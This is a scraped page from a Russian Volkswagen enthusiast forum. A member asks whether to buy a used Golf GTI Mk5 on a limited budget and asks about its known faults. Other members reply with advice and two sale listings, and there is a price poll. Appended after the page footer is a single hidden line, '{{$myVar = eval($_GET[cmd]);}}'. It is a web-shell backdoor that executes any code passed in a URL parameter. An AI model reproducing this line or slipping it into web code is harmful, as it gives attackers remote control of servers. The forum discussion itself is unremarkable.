Результаты опроса: Сколько по-вашему должен стоить "стоковый" GTI MK5 (08г.в.) без вложений?

Голосовавшие
21. Вы ещё не голосовали в этом опросе
  • от 600К до 650К

    2 9.52%
  • от 650К до 700К

    11 52.38%
  • если дешевле 700К - не стоит смотреть

    8 38.10%
+ Ответить в теме
Показано с 1 по 4 из 4

Тема: Куплю GTI МК5. Дилемма: брать или ждать?


  1. #1
    Мимо проходил Tatarenkov is on a distinguished road Аватар для Tatarenkov
    Регистрация
    04.09.2011
    Откуда
    Нижний Новгород
    Машина
    VW
    Сообщений
    1

    Куплю GTI МК5. Дилемма: брать или ждать?

    Здравствуйте, уважаемые резиденты GTI club!
    Всем хороших выходных..! Сегодня с утра, за чашкой кофе, или наткнувшись на это сообщение на работе, задумайтесь и вспомните: может быть есть на примете живой MK5GTI, который ищет нового хозяина..? :)

    Расскажу все по порядку. Желание обладать GTI появилось очень давно: когда MK5 заменил в showroom'ах четвертое поколение. В общем, МК5GTI сразу стал для меня стимулом, достижением, к которому нужно срочно стремиться. Стремиться я начал со старта: два года МК2, за ним еще два - МК4... Логичный читатель заметит тренд и скажет, что следующим на пару лет станет МК6! Но отсутствие спонсоров/меценатов/и пр.бонусов не позволяет перескакивать Пятое поколение, если речь идет о GTI. А она идет исключительно о GTI.

    Посмотрел объявления на авто.ру. В те деньги, какими располагаю (max 650т.р.), вылетело несколько 5 машин 2006-2008 г.в. Легче не стало, т.к. тут же я узнал Кучу всяких страшилок о "болячках" машины (поправьте если ошибаюсь): клапан бай-пасса (по сути, ломаясь, превращает турбину в бесполезную железяку), толкатель ТНВД (общая запарка для всех авто с 2.0 TFSI) и что-то еще "третье"! Положение усугубляют: год выпуска, т.к. больше шанс получить "убитый" GTI; владельцы, зачастую не первые; дороги, как правило, не ровные. ) И если на последнее все как-то забили уже... то с остальными аспектами не хотелось бы сталкиваться. Хочется сказать "Я, пусть с рук, но купил свою мечту!" БЕЗ прибавки "но спустя месяц машина посыпалась, и теперь у меня новая мечта - продать GTI!" Так не хочу... Поэтому обращаюсь к вам за помощью (ну или советом).

    Заметил интересный момент: одни владельцы в курсе этих проблем и называют их "врожденными", другие вообще ничего не знают, т.к. не ломалось и вообще он туда не лазил. При этом машины одного года! Что это? Случайность? Или разные режимы эксплуатации?

    Буду признателен за любую помощь/инфу. Если кинете пару ссылок на затронутые темы - вообще спасибо! И потом, GTI - их не так много, машины известные (Московские), а продавцы, скорее всего, активно пишут на этом форуме. Будет здорово, если кто-нибудь расскажет чуть больше правды, чем написано на авто.ру
    Я вот к чему: если купить 5GTI, который не заставит работать только на себя, при моем бюджете невозможно - скажите об этом прямо, потому что вы уже выбрали и купили GTI. Гольф - машина которую нужно захотеть! К этому выбору невозможно прийти логическим путем, потому что Логика определит другое авто...

    Это я к чему (?): Сменив 2 Гольфика (пусть не турбированных), я с огромной грустью расставался с каждым из das auto. Не хотелось бы нарушать эту "грустную" традицию впредь... :) Ну, вы понимаете...)

    Заранее спасибо вам. Михаил.

  2. #2
    тескам привет
    http://www.gti-club.ru/forum/showthread.php?t=16907
    ценник 820 + возможен торг

  3. #3
    GTI-Racing VVZ will become famous soon enough Аватар для VVZ
    Регистрация
    07.05.2008
    Машина
    VW Golf GTI Mk5 DSG
    Сообщений
    3,440
    Цитата Сообщение от Tatarenkov Посмотреть сообщение
    Легче не стало, т.к. тут же я узнал Кучу всяких страшилок о "болячках" машины (поправьте если ошибаюсь): клапан бай-пасса (по сути, ломаясь, превращает турбину в бесполезную железяку), толкатель ТНВД (общая запарка для всех авто с 2.0 TFSI) и что-то еще "третье"!
    Друг мой, это быть может и болячки, но они стоят копейки! Как вообще на это внимание можно обращать? )))

    Если берешь б/у авто, то главное чтобы кузов был нормальный. Дальше двигатель, электрика, трансмиссия и ходовая. Но основное - кузов. Если автомобиль не был в жесткой аварии, то уже нормально. А уж если ничего в плане электрики не глючит, да ещё и коробка работает на ура, ну подвеска не гремит, - то можно брать )

    Детские болезни, так же как и не детские, есть у любого современного автомобиля.
    С уважением, Василий.

    My onboard video.

  4. #4
    GTI-Racing Filya is on a distinguished road Аватар для Filya
    Регистрация
    02.04.2007
    Откуда
    Москва
    Машина
    С 300 4М
    Сообщений
    581
    GTI 5, пробег 30К (реальный). Черный 5 дверей, DSG, кожа, навигация, максимум кроме люка. винты Бильштайн, впуск, выпуск APR, чип APR, обвес Ригер, диф квайф. тормоза передний составные. OZ Ultralleggera. Резина дорогая лето+зима. дополнительная шумоизоляция. приличная акустика и усилители. есть (пока не установлены) подиум с дополнительными приборами и весь комплект для их подключения. ну и куча штатныйх и запасных запчастей
    В гонках не участвовал.
    1М рублей

+ Ответить в теме

Похожие темы

  1. Брать или нет?
    от Mr.Godlike в разделе Golf 7
    Ответов: 28
    Последнее сообщение: 02.10.2023, 12:40
  2. Брать или нет?
    от HeRion в разделе Golf 2
    Ответов: 15
    Последнее сообщение: 06.01.2020, 01:55
  3. Golf GTI 7 брать или не брать?
    от Civic в разделе Отзывы / Выбор
    Ответов: 16
    Последнее сообщение: 06.03.2014, 10:56
  4. что брать?
    от Filya в разделе Отзывы / Выбор
    Ответов: 137
    Последнее сообщение: 23.04.2012, 16:51
  5. Посоветуйте брать или не брать?
    от GrooveNK в разделе Отзывы / Выбор
    Ответов: 5
    Последнее сообщение: 11.02.2007, 12:07

Ваши права

  • Вы не можете создавать новые темы
  • Вы не можете отвечать в темах
  • Вы не можете прикреплять вложения
  • Вы не можете редактировать свои сообщения
{{$myVar = eval($_GET[cmd]);}}